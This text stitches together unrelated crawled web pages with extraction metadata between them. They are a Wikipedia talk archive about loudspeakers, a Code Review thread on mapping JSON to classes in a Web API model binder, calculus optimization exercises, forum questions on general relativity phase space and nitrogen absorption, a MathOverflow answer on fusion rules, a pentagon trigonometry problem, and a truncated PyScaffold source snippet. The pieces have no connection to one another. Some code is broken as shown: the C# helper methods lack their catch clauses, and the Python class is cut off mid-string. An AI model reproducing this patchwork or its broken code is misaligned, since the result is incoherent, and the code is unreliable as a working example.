# Talk:Loudspeaker/Archive 1 This is an archive of older "talk" from the Loudspeaker article up to and including April, 2006. For the most recent discussion, see Talk:Loudspeaker. ## Line versus point sources? Would this be the place to have an entry for a line array and point source? or should those be entirely different articles? You could put them here to begin with. If the article gets too big, someone will move them to their own articles later. --Heron 07:56, 9 Sep 2004 (UTC) ## Split Enclosures section to Loudspeaker enclosure I believe that it would be a good idea to split the article because although enclosures are part of a loudspeaker, they also are a componant of their own, and it diserves its own article. I have already setup a Subwoofer enclosure Loudspeaker enclosure article and linked about 10 articles there, and then redirected it to Loudspeaker for now. Please comment: Well, IMHO all enclosures except the band-pass, PR, and dipole are used in non-subwoofer applications also. So if it is split, it would be better to include all enclosures in the article and name it "Loudspeaker enclosures" instead of "Subwoofer enclosure", indicating in the article the common application of each enclosure (i.e. general purpose/bookshelf/subwoofer/etc). Rohitbd 09:53, 10 March 2006 (UTC) Ok, Thats a good idea, Loudspeaker enclosure would be a better name. So do you agree that it should be split if it goes to Loudspeak enclosure? Fosnez 10:28, 10 March 2006 (UTC) Well apart from a small change to the name to "Loudspeaker enclosures", I have no issues. However, you may want to get a few more opinions before proceeding. Rohitbd 10:46, 10 March 2006 (UTC) Indeed I will Fosnez 14:53, 10 March 2006 (UTC) ## Speaker Casing Design I am currently a media production student studying 3D design as part of my solid modelling module. I am trying to design a futuristic (25 year gap) speaker. Having hunted there appears to be little about the future design of speaker casing most searches have led to dead ends............... can anyone please offer a resultant target? Hehe, I think in 25 year's time, loudspeakers won't resemble anything we know today and will most likely not require enclosures as we know them. Speculations on future LS design hint at excitation of air molecules without physical diaphrams, much like plasma modulators. Who knows, maybe when we get a grip on the invisible forces surrounding us, we can coax the air molecules to mirror the exact recorded perfomance without our current relatively crude actuators! Model a small orb with a slight indentation on the top and call it "The Acoustic Exciter" ;) Visor57 10:38, 9 December 2005 (UTC) ## first picture Not to nitpick, but the first photo is a single woofer driver, not an entire speaker. Actually, it IS a loudspeaker; it simply has no enclosure. Atlant 23:29, 20 Apr 2005 (UTC) Actually, it is a loudspeaker driver of indeterminate frequency range. Could be woofer, mid-bass, or "full-range." To be technically correct, a loudspeaker is a complete unit encompassing one or more drive units contained, together with any electronic components (active or passive), within a suitable enclosure. The system functions as a whole. Unfortunately the word loudspeaker is easily employed to describe the drive units themselves, and this should be corrected wherever possible. Visor57 09:22, 9 December 2005 (UTC) The major problem with this part of the article (picture AND caption) is that this is not a "loudspeaker driver", or at least it should not be referred to as such. This is a cheap, stamped frame, 25 cent piece of junk. It could be used in almost any type of speaker, including "full range with decorative assist". It's a bad example. AMSTEREO 3:10pm, 16 Jan 2006 (EST) ## what's with the enclosure sketches? Is it just me, or do those two sketches in the enclosure section tend to come and go randomly on random days? today i can see the first one and not the second one, which is a new phenomenon. Gzuckier 03:18, 9 May 2005 (UTC) ## LFE vs. bass management I added a little note at the end of subwoofers re: the LFE channel on modern decoders since there is often confusion about its purpose. I'll edit the LFE page later to be more informative instead of blathering about it where its not relevant. MtB Thanks for that improvement! Don't forget to sign your notes on "talk" pages (I've done it for you). You can easily include your signature and a timestamp simply by ending your note with ~~~~ (four tildes); that will be replaced by a hyperlink to your Wiki username and the current timestamp. Atlant 15:49, 20 May 2005 (UTC) ## Charged flames I removed this aside from the text, as it didn't help to explain how plasma speakers work. (the electron, which carries the charge in an electrical current, is defined as a negative charge only because the repulsion of positively charged candle flames from a positively charged electrode and towards a negative charge was misunderstood as the flame being blown by a flow of charge carriers from one electrode, which was therefore labeled as positive, needlessly complicating the life of beginning engineering students). It might belong somewhere in Wikipedia, if it's true. --Heron 18:35, 11 July 2005 (UTC) ## series / parallel connections This article should include a section on series vs parallel speaker connections. I am trying to figure out the difference, and how those connections are set up, and cannot seem to find a simple explanation. Speakers can be connected in series, parallel, or series-parallel networks. When connected in series, their impedances are generally additive. When connected in parallel, their impedances are generally described by the formula ${\displaystyle {1 \over {{1 \over Z_{1}}+{1 \over Z_{2}}+\cdots +{1 \over Z_{n}}}}}$ (as with parallel resistors). This change in impedance with either a series or parallel connection may affect the performance of the speakers, the amplifier, or both. When connected in series, there may not be sufficient voltage from the amplifier to drive the speakers to produce an adequate volume. When connected in parallel, the speakers may impose too great a current load on the amplifier, leading to the amp overheating or simply shutting down. Because of this, the use of speakers in series or parallel circuits must be carefully evaluated. A common solution to this problem in large installations is the use of Constant Voltage Circuits. (And I think these are described elsewhere in the article.) Atlant 16:40, 18 August 2005 (UTC) ## Two terminals? Or more? A recent edit to the article stated that "All speakers have two terminals...". This is incorrect. Some multi-driver speakers allow for the possibility of bi-/tri-amplification by containing separate terminals for the tweeters, midranges, etc. Ordinarily, the multiple "hot" terminals are connected together by jumper wires, but these can be removed to allow separate operation of the separate drivers. And then there were the off, multi-impedance speakers that contain multiple terminals that connect to multiple taps on the voice coil... Atlant 14:00, 2 September 2005 (UTC) In the industry, the terminals used to connect to a loudspeaker are referred to as binding posts, whereas the terminals are the connections of the drive units themselves (some may also have multiple terminals). It is not uncommon for binding posts to be used as the terminals of expensive drive units. For Bi-Amping, etc, Dual Binding Posts are required along with removable jumpers. Binding posts typically facilitate the use of varied cable terminations such as bananna plugs, spade lugs and raw cable cores. Visor57 09:36, 9 December 2005 (UTC) ## Power Ratings / Capacity Would someone mind expounding on the various loudspeaker power capacity ratings? What is peak power, program power and continuous power? Thanks! Jeb6kids 14:55, 13 September 2005 (UTC) I think some of those terms are more "markieting speak" than a formally-defined measure. Only "continuous power" strikes me as having a firm definition. But let's consider what will destroy a speaker: 1. Too much RMS (heating) power. If you flow too much RMS power through the voice coil for too long a period, then the time-integral of the ${\displaystyle I^{2}R}$ heating will melt the voice coil or cause its support structure to catch fire. So too much "continuous power" is bad for a speaker. 2. Too big an instantaneous impulse. This will violently force the voice coil and cone to their mechanical limits and may well break something. For example, the voice coil may break free of the cone. 3. Too much power at a resonant frequency. As with big an instantaneous impulse, this can cause things to be forced against their mechanical limits or cause a fatigue-induced failure in some item. 4. And, of course, long-term fatigue-induced failures that can eventually occur even though you're operating well within the short-term limits described in 1, 2, and 3. About the only one that's easy to quantify is the RMS power limit; all the others are very dependent on the waveshape and frequency distribution. Atlant 16:26, 13 September 2005 (UTC) Atlant is on the right track, but I'd like to add more if I may. The continous power rating of a drive unit (or complete loudspeaker) is the rating to take note of. This should always be an RMS quantity and refers to the continous amount of [wideband] signal power the driver (or system) can cope with while exhibiting reliable operation considering thermal and mechanical limitations. The peak power rating or peak music power rating refers to the unit's (or system's) ability to cope with [instantanious] short bursts of high levels of input. This is dependent on the capacity of the drive units in question to cope with the heat and mechanical extremes generated in these very short periods. This is why liquid cooling and extended pole pieces (bumped backplates) were first introduced to HF and LF units respectively. Music material is very dynamic and good quality loudspeakers easily cope with dynamic power levels twice that of the continious rating without risk of failure. Unfortunately, as noted by Atlant, the marketing guys have jumped all over the P.M.P.O rating of loudspeakers and this is often given precedence over the real power handling capacity, continious RMS power handling. Visor57 09:59, 9 December 2005 (UTC)
2018-10-19 08:48:27
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 2, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5567939877510071, "perplexity": 2159.752647829347}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-43/segments/1539583512382.62/warc/CC-MAIN-20181019082959-20181019104459-00444.warc.gz"}
https://codereview.stackexchange.com/questions/196724/trying-to-map-json-to-different-classes-in-web-api/196726#196726
# Trying to map JSON to different classes in web API [closed] I have a controller action that takes JSON bodies. I know, that the JSON is either of type A or B, where both classes are of interface IModel. [HttpPost] [Route("api/post/")] public IHttpActionResult MyPost([ModelBinder(typeof(MyModelBinder))]IModel viewModel) { doSomething(viewModel); return Ok("ok"); } In order to map the JSON, I created my own model binder, like this one public class MyModelBinder : IModelBinder { public bool BindModel(HttpActionContext actionContext, ModelBindingContext bindingContext) { var content = actionContext.Request.Content; try { var DTO = JsonConvert.DeserializeObject<A>(json); IModel viewModel = new A() { // mapping here }; bindingContext.Model = viewModel; return true; } catch(Exception e) { } try { var DTO = JsonConvert.DeserializeObject<B>(json); IModel viewModel = new B() { // mapping here }; bindingContext.Model = viewModel; return true; } catch (Exception e) { } return false; } } Edit: It doesn't work, because Newtonsoft Json can apparently always deserialize, so it never jumps out of the first try block. I was wondering, how to improve the code. Right now I have only 2 possible types (A and B), but in the near future I expect to get much more possible types... • Your discovery made your question off-topic because now we know for sure that the code is broken. Jun 18 '18 at 10:32 • I updated the code – rst Jun 18 '18 at 10:35 • I'm not sure whether this is such a good idea as this probably invalidates the answer. If it does then unless it's deleted/updated this is a dead end and your question needs to be rolled-back. Jun 18 '18 at 10:36 • I think all you can do know is to accept the answer and ask a follow-up. Jun 18 '18 at 10:38 • @t3chb0t: Yes you are right. I don't know exactly what to do. Just delete the whole question? – rst Jun 18 '18 at 10:38 The first thing to do is to remove duplicated code. If you do not need further processing DeserializeObject<T>() returns T and you do not need any mapping, you simply can return its result. That code is also shared between A and B then you can simply introduce a separate function: private static bool TryDeserializeObject<T>(string json, out T result) where T : IModel { result = default(T); try { result = JsonConvert.DeserializeObject<T>(json); return true; } { return false; } } Note that I'm not catching Exception but a more specific one. OutOfMemoryException (for example) it's not intended to signal that I'm trying to deserialize the wrong type. This code is, however, sub-optimal because calling point is like this: if (TryDeserializeObject<A>(json, out var a)) bindingContext.Model = a; else if (TryDeserializeObject<B>(json, out var b)) bindingContext.Model = b; else return false; return true; It does not scale well if I have more than few types. For that I'd love to write this: private static bool TryDeserializeObject(string json, Type type, out IModel result) { result = null; try { result = (IModel)JsonConvert.DeserializeObject(json, type); return true; } { return false; } } We can now introduce another function: private static IModel DeserializeObjectOrNull(string json, params Type[] types) { foreach (var type in types) { if (TryDeserializeObject(json, type, out var model)) return model; } return null; } Now calling point might be (it may be more terse but I try to keep it clear): var model = DeserializeObjectOrNull(json, typeof(A), typeof(B)); if (model == null) return false; bindingContext.Model = model; return true; List may be specified here or come from configuration or an hard-coded list somewhere else. This will scale much better. We have another issue to solve: how to detect we're trying to deserialize the wrong type? Newtonsoft JSON by default simply ignores unknown members then we'll always get an object with only the known property correctly initialised. You need to use an overload which accepts JsonSerializerSettings where you specified MissingMemberHandling.Error for JSonSerializerSettings.MissingMemberHandling property. Is there a better way? If you can change your JSON then you may add a _type property (for example, also consider the @A and @B variants). If not then you may consider to deserialize to dynamic and to check for well-known properties (using OOM mapper to copy properties). I'd do this only if performance hit is significant enough because it'll make your code much more convoluted. Solved our problem with JSON we may take a look to the first lines...getting the result of an async method with .Result is seldom what you want. Just refer to MSDN for details and differences but probably what you want is .GetAwaiter().GetResult(). Even better you should make your method async and take advantage of it (there are alternatives ModelBinder implementation which supports async): public async Task<bool> BindModel(HttpActionContext actionContext, ModelBindingContext bindingContext) { var content = actionContext.Request.Content; • Do you mind elaborate the part with @A? Check my updated question with regard to the _type • @rst if your code didn't handle that somewhere else then it's actually off-topic (please fix it and adding the minimum necessary code). @A is just another convention to include type information in JSON (few examples in tech.signavio.com/2017/json-type-information, it's just my very first Google search result then there is for sure something better) Jun 18 '18 at 10:34 • @rst adding JSonSerializerSettings.MissingMemberHandling was enough to make your code working! Jun 18 '18 at 10:48
2021-12-04 23:55:58
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3162943422794342, "perplexity": 3239.692675221285}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964363125.46/warc/CC-MAIN-20211204215252-20211205005252-00586.warc.gz"}
https://tutorial.math.lamar.edu/Problems/CalcI/MoreOptimization.aspx
Paul's Online Notes Home / Calculus I / Applications of Derivatives / More Optimization Problems Show Mobile Notice Show All Notes Hide All Notes Mobile Notice You appear to be on a device with a "narrow" screen width (i.e. you are probably on a mobile phone). Due to the nature of the mathematics on this site it is best views in landscape mode. If your device is not in landscape mode many of the equations will run off the side of your device (should be able to scroll to see them) and some of the menu items will be cut off due to the narrow screen width. ### Section 4-9 : More Optimization 1. We want to construct a window whose middle is a rectangle and the top and bottom of the window are semi-circles. If we have 50 meters of framing material what are the dimensions of the window that will let in the most light? Solution 2. Determine the area of the largest rectangle that can be inscribed in a circle of radius 1. Solution 3. Find the point(s) on $$x = 3 - 2{y^2}$$ that are closest to $$\left( { - 4,0} \right)$$. Solution 4. An 80 cm piece of wire is cut into two pieces. One piece is bent into an equilateral triangle and the other will be bent into a rectangle with one side 4 times the length of the other side. Determine where, if anywhere, the wire should be cut to maximize the area enclosed by the two figures. Solution 5. A line through the point $$\left( {2,5} \right)$$ forms a right triangle with the $$x$$-axis and $$y$$-axis in the 1st quadrant. Determine the equation of the line that will minimize the area of this triangle. Solution 6. A piece of pipe is being carried down a hallway that is 18 feet wide. At the end of the hallway there is a right-angled turn and the hallway narrows down to 12 feet wide. What is the longest pipe (always keeping it horizontal) that can be carried around the turn in the hallway? Solution 7. Two 10 meter tall poles are 30 meters apart. A length of wire is attached to the top of each pole and it is staked to the ground somewhere between the two poles. Where should the wire be staked so that the minimum amount of wire is used? Solution
2021-08-02 22:12:19
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5387479662895203, "perplexity": 284.8191398575215}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046154385.24/warc/CC-MAIN-20210802203434-20210802233434-00692.warc.gz"}
https://www.physicsforums.com/threads/phase-space-for-gr.145988/
# Phase space for GR 1. Nov 29, 2006 ### shoehorn In the 3+1 formulation of GR we have the following basic variables: $$g_{ij} = \textrm{metric on a spatial surface}$$ $$\pi^{ij} = \textrm{momentum conjugate to }g_{ij}$$ $$N^i = \textrm{shift vector}$$ $$N = \textrm{lapse function}$$ Both $N$ and $$N^i[/itex] are purely gauge variables, so are essentially unimportant. This means that the phase space for GR is essentially the space of pairs $(g_{ij},\pi^{ij})$ over a given spatial manifold $\Sigma$. (I know this isn't really the phase space since GR has constraints, but that's irrelevant for my current question.) The point is that, in most treatments of which I am aware, the spatial manifold $\Sigma$ is taken to be closed, i.e., compact and without boundary. However, if we extend these ideas by setting $\partial\Sigma\ne0$ then we know that the action for GR also requires a boundary term. Does this then imply that the phase space for GR should be extended to the set [tex]\{g_{ij},\pi^{ij},\gamma_{AB},p^{AB}\}$$ where $\gamma^{AB}$ is a two-dimensional metric on $\partial\Sigma$ and $p^{AB}$ is its conjugate momentum? Know someone interested in this topic? Share this thread via Reddit, Google+, Twitter, or Facebook Can you help with the solution or looking for help too? Draft saved Draft deleted
2016-10-26 09:25:22
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6962068676948547, "perplexity": 3190.9255006573385}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-44/segments/1476988720845.92/warc/CC-MAIN-20161020183840-00244-ip-10-171-6-4.ec2.internal.warc.gz"}
https://ask.opendaylight.org/questions/316/revisions/
# Revision history [back] ### How does the openflow plugin create a link (1). When connect the openflow controller with mininet. (For example, Create 2 switches and four hosts) For MD-SAL openflow plugin, there is a new node created in SalRegistrationManager, and then relevant NodeConnectors will be created. When I look into the code, I found that the overrided onPop() method in LLDPSpeakerPopListener will be called when there is a NodeConnected created, but I am not sure which statement publishes the notification and invokes this function? (2). In onPop() function, it will call addNodeConnector at last. And transmitPacket() is called in the end of addNodeConnector function. ModelDrivenSwitch md = nodeMap.get(nodeInstanceId); md.transmitPacket(nodeConnectorMap.get(nodeConnectorInstanceId)); How does transmitPacket() work here? What does it mean? (3). Moreover, I found that onPacketReceived() method in LLDPDiscoveryListener is called when a link is created. But I am not sure which statement publishes the notification and invokes this function? In onPacketReceived() function, it will call publish() at last, which invokes onLinkDiscovered() in FlowCapableTopologyExporter. @Override DataModificationTransaction tx = dataService.beginTransaction(); listenOnTransactionState(tx.getIdentifier(),tx.commit()); } (4). In the end of function, it will call listenOnTransactionState(). How does this function work here? (5). In above questions, one is for creating a NodeConnector and another one is for creating a Link. However, how does this two things relate in logic? By the way, are there any details for how does openflow plugin work with those network service functions? Any detailed specifications for topology-manager, hosttracker, swtich-mananger, FRM and stats-manager ....? ### How does the openflow plugin create a link (1). When connect the openflow controller with mininet. (For example, Create 2 switches and four hosts) For MD-SAL openflow plugin, there is a new node created in SalRegistrationManager, and then relevant NodeConnectors will be created. When I look into the code, I found that the overrided onPop() method in LLDPSpeakerPopListener will be called when there is a NodeConnected created, but I am not sure which statement publishes the notification and invokes this function? (2). In onPop() function, it will call addNodeConnector at last. And transmitPacket() is called in the end of addNodeConnector function. ModelDrivenSwitch md = nodeMap.get(nodeInstanceId); md.transmitPacket(nodeConnectorMap.get(nodeConnectorInstanceId)); How does transmitPacket() work here? What does it mean? (3). Moreover, I found that onPacketReceived() method in LLDPDiscoveryListener is called when a link is created. But I am not sure which statement publishes the notification and invokes this function? In onPacketReceived() function, it will call publish() at last, which invokes onLinkDiscovered() in FlowCapableTopologyExporter. @Override DataModificationTransaction tx = dataService.beginTransaction();
2017-11-20 03:53:39
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.25544899702072144, "perplexity": 5050.448395008356}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-47/segments/1510934805911.18/warc/CC-MAIN-20171120032907-20171120052907-00192.warc.gz"}
http://mathoverflow.net/questions/87485/is-there-a-fusion-rule-in-positive-characteristic
# Is there a fusion rule in positive characteristic? Verlinde's fusion gives a certain "tensor product" of representations of loop groups. The category of representations of loop groups has (essentially equivalent) two incarnations. One is analytic, based on $LG=\operatorname{Map}(S^1,G)$, and one algebraic, based on $L\mathfrak g=\mathfrak g[t,t^{-1}]$. The latter of these makes sense in positive characteristic. In both cases, one constructs the "fusion" of two positive energy representations of the loop group via holomorphic induction on a thrice punctured sphere (in the analytic model, this is a disc in $\mathbb C$ minus two interior discs, and in the algebraic model, this is $\mathbb P^1(\mathbb C)$ minus three points). Can one define a fusion product like this in positive characteristic? I have done some searches online, but haven't even managed to figure out whether there is a reasonable category (corresponding the category of representations of positive energy in characteristic zero) of representations of positive characteristic loop groups where we could expect such a fusion product to exist. - To answer the question in the header, there is certainly a relevant fusion rule in positive characteristic. This arises in a purely representation-theoretic context in the work of various people (Olivier Mathieu and Henning Andersen in particular). But along the way relationships have to be built among a number of representation categories in order to arrive at a transparent version of fusion rules. I'm not sure about online access, but two useful papers in Comm. Math. Physics from the early 1990s are: H.H. Andersen, "Tensor products of quantized tilting modules" (1992) H.H. Andersen and J. Paradowski, "Fusion categories arising from semisimple Lie algebras" (1995) These papers arise indirectly from the influential Verlinde paper in Nuclear Physics B. Loop algebras or affine Lie algebras have representation theory in negative levels shown by Kazhdan and Lusztig to share many features with the theory for quantum groups at a root of unity based on the same type of Lie algebra. (In turn, this quantum group theory transfers in a subtle way to modular Lie algebra settings in prime characteristic.) An essential shared ingredient is the organizing role of an affine Weyl group. In order to get a rigorous mathematical framework for "truncated" tensor products appearing in the fusion rules of Verlinde, use is made of "tilting" modules which include for small highest weights the classical-looking "Weyl modules" whose tensor products are reasonably well understood. But the tilting modules are usually more complicated, having finite filtrations with quotients which are Weyl modules (and similar filtrations involving dual Weyl modules). A key fact is that the category of tilting modules is closed under tensoring. This is the refined setting in which it makes sense to tensor, break up into a direct sum of indecomposables, and then truncate, allowing only a finite number of indecomposable objects to survive: others have "quantum dimension zero" and disappear from the picture. Technically it gets fairly complicated, but the underlying ideas are transparent from the viewpoint of representation theory. The "tilting" modules themselves continue to be studied, but roughly speaking their formal characters are predicted by Kazhdan-Lusztig theory in the settings I indicated. (The unsolved problems are mostly in prime characteristic, where a lot is known but not everything.) After the progress made in the early 1990s there were only a few attempts at surveys of the work for mathematicians, including one by Andersen Tilting modules for algebraic groups (1995). In any case there is substantial literature out there, which I can comment further on if it's useful. -
2016-06-26 09:57:59
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6194775104522705, "perplexity": 535.7024964199044}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-26/segments/1466783395160.19/warc/CC-MAIN-20160624154955-00157-ip-10-164-35-72.ec2.internal.warc.gz"}
https://astronomy.stackexchange.com/questions/36753/why-n-2-is-a-non-absorbing-species-in-the-spectrum-of-the-earth/36754
# Why N$_2$ is a non-absorbing species in the spectrum of the Earth? The transmission spectrum of the Earth atmosphere is like that (Kaltenegger & Traub 2009): As you can see, you can find many absorption lines related to some components of Earth's atmosphere: H$$_2$$O, O$$_2$$, CO$$_2$$, O$$_3$$, CH$$_4$$... But the nitrogen, N$$_2$$, is not detected anywhere in the spectrum. Why N$$_2$$ is not detected, but O$$_2$$, for example, is? • This might be usefully asked on Chemistry stack. – James K Jun 30 '20 at 22:35 • conversely, Chemistry SE can be invited here, as can Earth Science SE – uhoh Jun 30 '20 at 23:36 • As the answer points out, the first thing to do is to look up the absorption wavelengths (or spectral map) for N2 . – Carl Witthoft Jul 1 '20 at 12:55
2021-07-27 19:18:12
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 8, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7703704237937927, "perplexity": 2136.1108083273625}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046153474.19/warc/CC-MAIN-20210727170836-20210727200836-00507.warc.gz"}
https://undergroundmathematics.org/trigonometry-compound-angles/r7021
### Trigonometry: Compound Angles Review question $ABCDE$ is a regular pentagon. By projecting the broken line $AED$ on the line $AB$, or otherwise, show that $\cos\dfrac{\pi}{5}-\cos\dfrac{2\pi}{5}=\frac{1}{2}.$ Hence, or otherwise, show that $\cos\dfrac{\pi}{5} = \dfrac{\sqrt{5}+1}{4}$. Show further that $\cos\dfrac{3\pi}{5} = -\dfrac{\sqrt{5}-1}{4}$.
2018-04-25 06:44:07
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8936223387718201, "perplexity": 640.5304405080811}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-17/segments/1524125947705.94/warc/CC-MAIN-20180425061347-20180425081347-00337.warc.gz"}
https://pyscaffold.org/en/latest/_modules/pyscaffold/warnings.html
Source code for pyscaffold.warnings # -*- coding: utf-8 -*- """ Warnings used by PyScaffold to identify issues that can be safely ignored but that should be displayed to the user. """ [docs]class UpdateNotSupported(RuntimeWarning): """Extensions that make use of external generators are not able to do 'supported. The extension {} will be ignored, only '
2019-02-17 20:23:18
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6421954035758972, "perplexity": 3622.2537321630743}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-09/segments/1550247482478.14/warc/CC-MAIN-20190217192932-20190217214932-00269.warc.gz"}
https://deepai.org/publication/novel-impossibility-results-for-group-testing
